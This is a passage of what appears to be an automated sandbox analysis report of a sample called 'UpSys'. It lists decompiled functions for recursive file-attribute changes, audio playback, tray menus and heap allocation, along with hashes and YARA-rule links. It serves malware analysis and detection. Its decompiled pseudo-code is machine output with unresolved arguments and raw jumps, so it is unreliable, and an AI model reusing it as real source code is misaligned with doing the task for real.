                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Value$Close$ConnectCreateRegistry_errnomalloc
                                                                                                                                                                                                        • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                                                                                                                                                        • API String ID: 567937939-966354055
                                                                                                                                                                                                        • Opcode ID: a812f99bb3125e5934f93a35eb7d7464b382d46a72ef682bf2f8747e762f2858
                                                                                                                                                                                                        • Instruction ID: a0674c9f61fc4659c8325f529c1f2da1eeb58f9bd98d8ed104ed0a78fa70df0e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a812f99bb3125e5934f93a35eb7d7464b382d46a72ef682bf2f8747e762f2858
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B5F17E72604A8081EA61EB26E8957EEA7A4F7CDBD0F518412FB4D4B7B6DF38C581C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003EAD0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 103fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 31%
                                                                                                                                                                                                        			E0000000114003EAD0(long long __rcx, long long __rdx, intOrPtr _a8, intOrPtr _a16, intOrPtr _a24, intOrPtr _a32, intOrPtr _a40) {
				char _v588;
				signed char _v632;
				intOrPtr _v648;
				void* _t66;
				void* _t67;
				WCHAR* _t96;
				WCHAR* _t100;
				WCHAR* _t102;
				void* _t104;

				_t66 = _t104;
				 *((intOrPtr*)(_t66 + 0x20)) = r9d;
				 *((intOrPtr*)(_t66 + 0x18)) = r8d;
				 *((long long*)(_t66 + 0x10)) = __rdx;
				 *((long long*)(_t66 + 8)) = __rcx;
				sil = 0;
				FindFirstFileW(_t96);
				if (_t66 == 0xffffffff) goto 0x4003eb75;
				if (E00000001140017790( &_v588, ".") == 0) goto 0x4003eb63;
				if (E00000001140017790( &_v588, L"..") == 0) goto 0x4003eb63;
				GetFileAttributesW(_t100);
				if (SetFileAttributesW(_t102) == 0) goto 0x4003eb93;
				sil = 1;
				if (FindNextFileW(_t67) != 0) goto 0x4003eb0d;
				FindClose(??);
				bpl = _a40;
				if (bpl != 0) goto 0x4003eba3;
				goto 0x4003ec5e;
				FindClose(??);
				goto 0x4003ec5e;
				FindFirstFileW(??, ??);
				if (_t66 == 0xffffffff) goto 0x4003ec51;
				if ((_v632 & 0x00000010) == 0) goto 0x4003ec3b;
				if (E00000001140017790( &_v588, ".") == 0) goto 0x4003ec3b;
				if (E00000001140017790( &_v588, L"..") == 0) goto 0x4003ec3b;
				SetCurrentDirectoryW(??);
				r8d = _a24;
				r9d = _a32;
				_v648 = bpl;
				E0000000114003EAD0(_a8, _a16);
				if (0 == 0) goto 0x4003ec53;
				SetCurrentDirectoryW(??);
				if (FindNextFileW(??, ??) != 0) goto 0x4003ebc9;
				FindClose(??);
				return 1;
			}












                                                                                                                                                                                                        0x14003ead0
                                                                                                                                                                                                        0x14003ead3
                                                                                                                                                                                                        0x14003ead7
                                                                                                                                                                                                        0x14003eadb
                                                                                                                                                                                                        0x14003eadf
                                                                                                                                                                                                        0x14003eafb
                                                                                                                                                                                                        0x14003eafe
                                                                                                                                                                                                        0x14003eb0b
                                                                                                                                                                                                        0x14003eb20
                                                                                                                                                                                                        0x14003eb35
                                                                                                                                                                                                        0x14003eb3c
                                                                                                                                                                                                        0x14003eb5e
                                                                                                                                                                                                        0x14003eb60
                                                                                                                                                                                                        0x14003eb73
                                                                                                                                                                                                        0x14003eb78
                                                                                                                                                                                                        0x14003eb7e
                                                                                                                                                                                                        0x14003eb89
                                                                                                                                                                                                        0x14003eb8e
                                                                                                                                                                                                        0x14003eb96
                                                                                                                                                                                                        0x14003eb9e
                                                                                                                                                                                                        0x14003ebaf
                                                                                                                                                                                                        0x14003ebbc
                                                                                                                                                                                                        0x14003ebce
                                                                                                                                                                                                        0x14003ebe3
                                                                                                                                                                                                        0x14003ebf8
                                                                                                                                                                                                        0x14003ebff
                                                                                                                                                                                                        0x14003ec05
                                                                                                                                                                                                        0x14003ec1d
                                                                                                                                                                                                        0x14003ec20
                                                                                                                                                                                                        0x14003ec25
                                                                                                                                                                                                        0x14003ec2c
                                                                                                                                                                                                        0x14003ec35
                                                                                                                                                                                                        0x14003ec4b
                                                                                                                                                                                                        0x14003ec56
                                                                                                                                                                                                        0x14003ec69

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 1409584000-438819550
                                                                                                                                                                                                        • Opcode ID: 3792d6d9e6a02f218a6a6548bb5622790a0632c16ef6f0688da290d008f90eab
                                                                                                                                                                                                        • Instruction ID: f952b54b947ce4dac15c60640aa550e5d5c4d857540df2bfc820af27988f0dac
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3792d6d9e6a02f218a6a6548bb5622790a0632c16ef6f0688da290d008f90eab
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2241813221598195EB539B16E8847EE63A1E78C7E4F809221FB6E436F4DF7CC949C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400709D0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 68COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 33%
                                                                                                                                                                                                        			E000000011400709D0(void* __ecx, void* __edx, void* __eflags, long long __rbx, intOrPtr* __rcx, long long __rsi, void* __rbp, void* __r8, long long _a8, long long _a16) {
				void* _v8;
				intOrPtr _v536;
				char _v568;
				void* __rdi;
				void* _t44;
				intOrPtr* _t46;
				void* _t66;

				_t69 = __rbp;
				_t67 = __rsi;
				_a8 = __rbx;
				_a16 = __rsi;
				_t46 = __rcx;
				dil = __edx;
				E0000000114000FD50(_t44, __rcx,  &_v568);
				E000000011400107E0(_t44,  &_v568, L"open ", _t66);
				E000000011400037E0(0x22,  &_v568, __rsi);
				E00000001140011830(_t46,  &_v568, _t46, _t67, __rbp);
				E000000011400037E0(0x22,  &_v568, _t67);
				E00000001140011830(_t46,  &_v568, L" alias PlayMe", _t67, _t69);
				r9d = 0;
				r8d = 0x100;
				mciSendStringW(??, ??, ??, ??);
				if (_v536 == 0) goto 0x40070a77;
				r9d = 0;
				r8d = 0;
				mciSendStringW(??, ??, ??, ??);
				if ( *_t46 == 0) goto 0x40070acb;
				r9d = 0;
				r8d = 0;
				if (mciSendStringW(??, ??, ??, ??) != 0) goto 0x40070acb;
				r9d = 0;
				r8d = 0;
				if (dil == sil) goto 0x40070abe;
				mciSendStringW(??, ??, ??, ??);
				r9d = 0;
				r8d = 0;
				goto 0x40070ac5;
				return E00000001140002610(mciSendStringW(??, ??, ??, ??), _t46,  &_v568);
			}










                                                                                                                                                                                                        0x1400709d0
                                                                                                                                                                                                        0x1400709d0
                                                                                                                                                                                                        0x1400709d0
                                                                                                                                                                                                        0x1400709d5
                                                                                                                                                                                                        0x1400709e2
                                                                                                                                                                                                        0x1400709ea
                                                                                                                                                                                                        0x1400709ed
                                                                                                                                                                                                        0x1400709fe
                                                                                                                                                                                                        0x140070a0f
                                                                                                                                                                                                        0x140070a1c
                                                                                                                                                                                                        0x140070a28
                                                                                                                                                                                                        0x140070a39
                                                                                                                                                                                                        0x140070a4a
                                                                                                                                                                                                        0x140070a4d
                                                                                                                                                                                                        0x140070a53
                                                                                                                                                                                                        0x140070a60
                                                                                                                                                                                                        0x140070a69
                                                                                                                                                                                                        0x140070a6c
                                                                                                                                                                                                        0x140070a71
                                                                                                                                                                                                        0x140070a7a
                                                                                                                                                                                                        0x140070a81
                                                                                                                                                                                                        0x140070a84
                                                                                                                                                                                                        0x140070a91
                                                                                                                                                                                                        0x140070a93
                                                                                                                                                                                                        0x140070a96
                                                                                                                                                                                                        0x140070a9e
                                                                                                                                                                                                        0x140070aa7
                                                                                                                                                                                                        0x140070aad
                                                                                                                                                                                                        0x140070ab0
                                                                                                                                                                                                        0x140070abc
                                                                                                                                                                                                        0x140070ae9

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: SendString
                                                                                                                                                                                                        • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                                                                                                                                                        • API String ID: 890592661-1007645807
                                                                                                                                                                                                        • Opcode ID: 6119bb7f47c61de945fb1f67cb73e7c627958fdc719729a54288dcbd7c4c95d0
                                                                                                                                                                                                        • Instruction ID: 322b8bda36f311e5c8e671ff662995a692cc5032e84b636615d4fb2139ef4aa6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6119bb7f47c61de945fb1f67cb73e7c627958fdc719729a54288dcbd7c4c95d0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FF316D32624A91A2FB22DB62F895BDA6360F79C7C4F848111F74D039B59F3CCA45CB50
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007ABA0 Relevance: 18.2, APIs: 12, Instructions: 207windowCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 44%
                                                                                                                                                                                                        			E0000000114007ABA0(void* __ebx, void* __ecx, long long __rbx, intOrPtr* __rcx, long long __rdx, long long __rsi, void* __r8, void* __r10) {
				void* __rdi;
				void* _t65;
				void* _t86;
				long* _t125;
				void* _t128;
				void* _t133;
				void* _t145;
				intOrPtr* _t148;
				intOrPtr _t152;
				struct tagPOINT* _t175;
				long long _t179;
				intOrPtr* _t180;
				void* _t183;
				void* _t184;
				struct HMENU__* _t195;
				long long _t196;
				struct HMENU__* _t198;
				int _t200;
				struct HMENU__* _t202;

				_t177 = __rsi;
				_t174 = __rdx;
				_t86 = __ebx;
				_t145 = _t183;
				 *((long long*)(_t145 + 8)) = __rbx;
				 *((long long*)(_t145 + 0x10)) = _t179;
				 *((long long*)(_t145 + 0x18)) = __rsi;
				_t184 = _t183 - 0x80;
				_t196 = __rdx;
				_t148 = __rcx;
				_t5 = _t174 + 0x4c; // 0x4c
				r8d = _t5;
				 *((intOrPtr*)(_t145 - 0x78)) = 0x50;
				E00000001140017520(_t65, __ecx, 0, _t145 - 0x74, __rdx, __r8);
				_t152 =  *((intOrPtr*)(_t184 + 0xd0));
				r13d =  *((intOrPtr*)(__rcx + 0x1360));
				r14d = 0;
				_t9 = _t200 + 1; // 0x1
				r15d = _t9;
				if (_t152 - __rdx < 0) goto 0x4007ad09;
				_t128 = _t152 - 0x206;
				if (_t128 > 0) goto 0x4007ad09;
				if (_t128 == 0) goto 0x4007acf9;
				if (_t128 == 0) goto 0x4007acef;
				if (_t128 == 0) goto 0x4007ace5;
				if (_t128 == 0) goto 0x4007ac67;
				if (_t128 == 0) goto 0x4007ac5a;
				_t93 = __ecx - 0x200 - r15d - r15d - r15d - r15d - r15d;
				if (_t128 == 0) goto 0x4007ac4d;
				if (__ecx - 0x200 - r15d - r15d - r15d - r15d - r15d != r15d) goto 0x4007ad09;
				goto 0x4007ad01;
				goto 0x4007ad01;
				goto 0x4007ad01;
				if ( *((intOrPtr*)(__rcx + 0xe)) == r14b) goto 0x4007acde;
				_t15 =  &(_t175->x); // 0x7
				_t125 = _t15;
				 *((intOrPtr*)(_t184 + 0x34)) = r15d;
				 *((intOrPtr*)(_t184 + 0x3c)) = 8;
				if (r13d - _t125 < 0) goto 0x4007acde;
				_t180 = __rcx + 0x360;
				if ( *_t180 == _t200) goto 0x4007acc3;
				r8d = 0;
				_t133 = GetMenuItemInfoW(_t202, _t200) - r14d;
				if (_t133 == 0) goto 0x4007acc3;
				asm("bt dword [esp+0x3c], 0xc");
				if (_t133 >= 0) goto 0x4007acc3;
				_t146 =  *__rcx;
				if ( *((intOrPtr*)( *_t180)) ==  *__rcx) goto 0x4007acd4;
				_t126 = _t125 + r15d;
				if (_t125 + r15d -  *((intOrPtr*)(__rcx + 0x1360)) <= 0) goto 0x4007ac8e;
				goto 0x4007acde;
				E00000001140062CA0(_t125 + r15d, 4,  *__rcx, __rcx, __rcx, __rsi);
				goto 0x4007ad01;
				goto 0x4007ad01;
				goto 0x4007ad01;
				_t22 = _t175 - 0x4b; // -11
				E00000001140062C20(_t22, _t146, _t148, _t148, _t177);
				if (( *(_t148 + 0x10) & 0x00000040) == 0) goto 0x4007aed3;
				if ( *0x400b549b == r14b) goto 0x4007aed3;
				if ( *((intOrPtr*)(_t148 + 8)) == r14b) goto 0x4007aded;
				if ( *((intOrPtr*)(_t148 + 0xc)) != r14b) goto 0x4007ae31;
				if (GetMenuItemCount(_t198) - r14d <= 0) goto 0x4007ad6b;
				r9d = 0xffffffff;
				 *(_t184 + 0x28) = r14d;
				 *((intOrPtr*)(_t148 + 0x1360)) = 4;
				 *((intOrPtr*)(_t184 + 0x20)) = 0xffffffff;
				E00000001140070DB0(_t86, _t93, 0, 0xffffffff, _t125 + r15d, _t146, _t148, _t148, _t174, _t177, _t180 + 8, 0x4009b6c0, __r10);
				r9d = 0xffffffff;
				 *(_t184 + 0x28) = r14d;
				 *((intOrPtr*)(_t148 + 0x1360)) = 3;
				 *((intOrPtr*)(_t184 + 0x20)) = 0xffffffff;
				E00000001140070DB0(_t86, _t93, 0, 0xffffffff, _t126, _t146, _t148, _t148, _t174, _t177, _t180 + 8,  *((intOrPtr*)(_t148 + 0xe0)), __r10);
				r9d = 0xffffffff;
				 *(_t184 + 0x28) = r14d;
				 *((intOrPtr*)(_t148 + 0x1360)) = 5;
				 *((intOrPtr*)(_t184 + 0x20)) = 0xffffffff;
				E00000001140070DB0(_t86, _t93, 0, 0xffffffff, _t126, _t146, _t148, _t148, _t174, _t177, _t180 + 8, 0x4009b6c0, __r10);
				r9d = 0xffffffff;
				 *(_t184 + 0x28) = r14d;
				 *((intOrPtr*)(_t148 + 0x1360)) = 2;
				 *((intOrPtr*)(_t184 + 0x20)) = 0xffffffff;
				E00000001140070DB0(_t86, _t93, 0, 0xffffffff, _t126, _t146, _t148, _t148, _t174, _t177, _t180 + 8,  *((intOrPtr*)(_t148 + 0xc0)), __r10);
				 *((intOrPtr*)(_t148 + 0x1360)) = r13d;
				 *((intOrPtr*)(_t148 + 0xc)) = r15b;
				goto 0x4007ae31;
				r8d = 0;
				DeleteMenu(??, ??, ??);
				r8d = 0;
				DeleteMenu(??, ??, ??);
				r8d = 0;
				DeleteMenu(??, ??, ??);
				r8d = 0;
				DeleteMenu(??, ??, ??);
				 *((intOrPtr*)(_t148 + 0xc)) = r14b;
				if (GetMenuItemCount(_t195) - r14d <= 0) goto 0x4007aed3;
				if ( *((intOrPtr*)(_t148 + 8)) != r14b) goto 0x4007ae4f;
				 *((intOrPtr*)(_t148 + 0xa)) = r14b;
				goto 0x4007ae7e;
				if ( *((intOrPtr*)(_t148 + 0xa)) == r14b) goto 0x4007ae7e;
				r8d = 0;
				 *0x400b549c = r15b;
				 *((intOrPtr*)(_t184 + 0x34)) = r15d;
				 *((intOrPtr*)(_t184 + 0x3c)) = 8;
				SetMenuItemInfoW(??, ??, ??, ??);
				GetCursorPos(_t175);
				SetForegroundWindow(??);
				r9d =  *((intOrPtr*)(_t184 + 0xd4));
				r8d =  *((intOrPtr*)(_t184 + 0xd0));
				 *(_t184 + 0x28) = _t200;
				 *((long long*)(_t184 + 0x20)) = _t196;
				TrackPopupMenuEx(??, ??, ??, ??, ??, ??);
				r9d = 0;
				r8d = 0;
				PostMessageW(??, ??, ??, ??);
				return E00000001140010E00(_t148, _t148, _t175,  *((intOrPtr*)(_t148 + 0xc0)));
			}






















                                                                                                                                                                                                        0x14007aba0
                                                                                                                                                                                                        0x14007aba0
                                                                                                                                                                                                        0x14007aba0
                                                                                                                                                                                                        0x14007aba0
                                                                                                                                                                                                        0x14007aba3
                                                                                                                                                                                                        0x14007aba7
                                                                                                                                                                                                        0x14007abab
                                                                                                                                                                                                        0x14007abb8
                                                                                                                                                                                                        0x14007abbf
                                                                                                                                                                                                        0x14007abc4
                                                                                                                                                                                                        0x14007abcb
                                                                                                                                                                                                        0x14007abcb
                                                                                                                                                                                                        0x14007abcf
                                                                                                                                                                                                        0x14007abd6
                                                                                                                                                                                                        0x14007abdb
                                                                                                                                                                                                        0x14007abe3
                                                                                                                                                                                                        0x14007abea
                                                                                                                                                                                                        0x14007abf8
                                                                                                                                                                                                        0x14007abf8
                                                                                                                                                                                                        0x14007abfc
                                                                                                                                                                                                        0x14007ac02
                                                                                                                                                                                                        0x14007ac09
                                                                                                                                                                                                        0x14007ac11
                                                                                                                                                                                                        0x14007ac1a
                                                                                                                                                                                                        0x14007ac23
                                                                                                                                                                                                        0x14007ac2c
                                                                                                                                                                                                        0x14007ac31
                                                                                                                                                                                                        0x14007ac33
                                                                                                                                                                                                        0x14007ac36
                                                                                                                                                                                                        0x14007ac3b
                                                                                                                                                                                                        0x14007ac48
                                                                                                                                                                                                        0x14007ac55
                                                                                                                                                                                                        0x14007ac62
                                                                                                                                                                                                        0x14007ac70
                                                                                                                                                                                                        0x14007ac72
                                                                                                                                                                                                        0x14007ac72
                                                                                                                                                                                                        0x14007ac75
                                                                                                                                                                                                        0x14007ac7a
                                                                                                                                                                                                        0x14007ac85
                                                                                                                                                                                                        0x14007ac87
                                                                                                                                                                                                        0x14007ac95
                                                                                                                                                                                                        0x14007ac9f
                                                                                                                                                                                                        0x14007acaa
                                                                                                                                                                                                        0x14007acad
                                                                                                                                                                                                        0x14007acaf
                                                                                                                                                                                                        0x14007acb5
                                                                                                                                                                                                        0x14007acbb
                                                                                                                                                                                                        0x14007acc1
                                                                                                                                                                                                        0x14007acc3
                                                                                                                                                                                                        0x14007acd0
                                                                                                                                                                                                        0x14007acd2
                                                                                                                                                                                                        0x14007acd9
                                                                                                                                                                                                        0x14007ace3
                                                                                                                                                                                                        0x14007aced
                                                                                                                                                                                                        0x14007acf7
                                                                                                                                                                                                        0x14007acfe
                                                                                                                                                                                                        0x14007ad04
                                                                                                                                                                                                        0x14007ad0c
                                                                                                                                                                                                        0x14007ad19
                                                                                                                                                                                                        0x14007ad23
                                                                                                                                                                                                        0x14007ad2d
                                                                                                                                                                                                        0x14007ad42
                                                                                                                                                                                                        0x14007ad4d
                                                                                                                                                                                                        0x14007ad53
                                                                                                                                                                                                        0x14007ad58
                                                                                                                                                                                                        0x14007ad62
                                                                                                                                                                                                        0x14007ad66
                                                                                                                                                                                                        0x14007ad74
                                                                                                                                                                                                        0x14007ad7a
                                                                                                                                                                                                        0x14007ad7f
                                                                                                                                                                                                        0x14007ad89
                                                                                                                                                                                                        0x14007ad8d
                                                                                                                                                                                                        0x14007ad9b
                                                                                                                                                                                                        0x14007ada1
                                                                                                                                                                                                        0x14007ada6
                                                                                                                                                                                                        0x14007adb0
                                                                                                                                                                                                        0x14007adb4
                                                                                                                                                                                                        0x14007adc2
                                                                                                                                                                                                        0x14007adc8
                                                                                                                                                                                                        0x14007adcd
                                                                                                                                                                                                        0x14007add7
                                                                                                                                                                                                        0x14007addb
                                                                                                                                                                                                        0x14007ade0
                                                                                                                                                                                                        0x14007ade7
                                                                                                                                                                                                        0x14007adeb
                                                                                                                                                                                                        0x14007adf0
                                                                                                                                                                                                        0x14007adf7
                                                                                                                                                                                                        0x14007ae00
                                                                                                                                                                                                        0x14007ae07
                                                                                                                                                                                                        0x14007ae10
                                                                                                                                                                                                        0x14007ae17
                                                                                                                                                                                                        0x14007ae20
                                                                                                                                                                                                        0x14007ae27
                                                                                                                                                                                                        0x14007ae2d
                                                                                                                                                                                                        0x14007ae3d
                                                                                                                                                                                                        0x14007ae47
                                                                                                                                                                                                        0x14007ae49
                                                                                                                                                                                                        0x14007ae4d
                                                                                                                                                                                                        0x14007ae53
                                                                                                                                                                                                        0x14007ae58
                                                                                                                                                                                                        0x14007ae64
                                                                                                                                                                                                        0x14007ae6b
                                                                                                                                                                                                        0x14007ae70
                                                                                                                                                                                                        0x14007ae78
                                                                                                                                                                                                        0x14007ae86
                                                                                                                                                                                                        0x14007ae8f
                                                                                                                                                                                                        0x14007ae95
                                                                                                                                                                                                        0x14007ae9d
                                                                                                                                                                                                        0x14007aeaa
                                                                                                                                                                                                        0x14007aeaf
                                                                                                                                                                                                        0x14007aeb4
                                                                                                                                                                                                        0x14007aeba
                                                                                                                                                                                                        0x14007aebd
                                                                                                                                                                                                        0x14007aec5
                                                                                                                                                                                                        0x14007aef3

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1441871840-0
                                                                                                                                                                                                        • Opcode ID: b5799e370bca00cb70a62ba1ba3425d7023adc4dae39ba59312075b6b24e378e
                                                                                                                                                                                                        • Instruction ID: 50b6056d880ef364c8af37cb34073e3a3fe9d59f2259219ad40dcaf56f3857df
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b5799e370bca00cb70a62ba1ba3425d7023adc4dae39ba59312075b6b24e378e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 98917A7620068086E726DF27E454BDE7BA1F7CDB88F488121FB4A17A78CB3CC9458B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002E880 Relevance: 18.1, APIs: 12, Instructions: 115memoryfileCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 77%
                                                                                                                                                                                                        			E0000000114002E880(void* __ebx, void* __ecx, void* __eflags, long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				intOrPtr* _t32;
				intOrPtr* _t47;
				long _t52;
				long _t54;
				void* _t57;

				_t50 = __r8;
				_t39 = __rdi;
				_t33 = __rbx;
				_t32 = _t47;
				 *((long long*)(_t32 + 8)) = __rbx;
				 *((long long*)(_t32 + 0x10)) = __rbp;
				 *((long long*)(_t32 + 0x18)) = __rsi;
				 *((long long*)(_t32 + 0x20)) = __rdi;
				_t5 = _t39 + 1; // 0x1
				r8d = _t5;
				E0000000114002A580(__ebx, __ecx, 0, __eflags, _t32, __rbx, __rdx, __rsi, __rdx, __r8);
				if (_t32 == 0xffffffff) goto 0x4002e908;
				_t6 = _t39 + 2; // 0x2
				r8d = _t6;
				E0000000114002A580(__ebx, __ecx, 0, _t32 - 0xffffffff, _t32, _t33, __rdx, __rsi, __rdx, _t50);
				if (_t32 == 0xffffffff) goto 0x4002e908;
				if (__rdx - _t32 - __rdi <= 0) goto 0x4002e99b;
				GetProcessHeap();
				r15d = 0x1000;
				HeapAlloc(_t57, _t54, _t52);
				if (_t32 != __rdi) goto 0x4002e92e;
				E0000000114001EAE4(_t32 - __rdi, _t32);
				 *_t32 = 0xc;
				E0000000114001EAE4(_t32 - __rdi, _t32);
				return  *_t32;
			}








                                                                                                                                                                                                        0x14002e880
                                                                                                                                                                                                        0x14002e880
                                                                                                                                                                                                        0x14002e880
                                                                                                                                                                                                        0x14002e880
                                                                                                                                                                                                        0x14002e883
                                                                                                                                                                                                        0x14002e887
                                                                                                                                                                                                        0x14002e88b
                                                                                                                                                                                                        0x14002e88f
                                                                                                                                                                                                        0x14002e8a4
                                                                                                                                                                                                        0x14002e8a4
                                                                                                                                                                                                        0x14002e8aa
                                                                                                                                                                                                        0x14002e8b6
                                                                                                                                                                                                        0x14002e8b8
                                                                                                                                                                                                        0x14002e8b8
                                                                                                                                                                                                        0x14002e8c0
                                                                                                                                                                                                        0x14002e8c9
                                                                                                                                                                                                        0x14002e8d4
                                                                                                                                                                                                        0x14002e8da
                                                                                                                                                                                                        0x14002e8e0
                                                                                                                                                                                                        0x14002e8ef
                                                                                                                                                                                                        0x14002e8fb
                                                                                                                                                                                                        0x14002e8fd
                                                                                                                                                                                                        0x14002e902
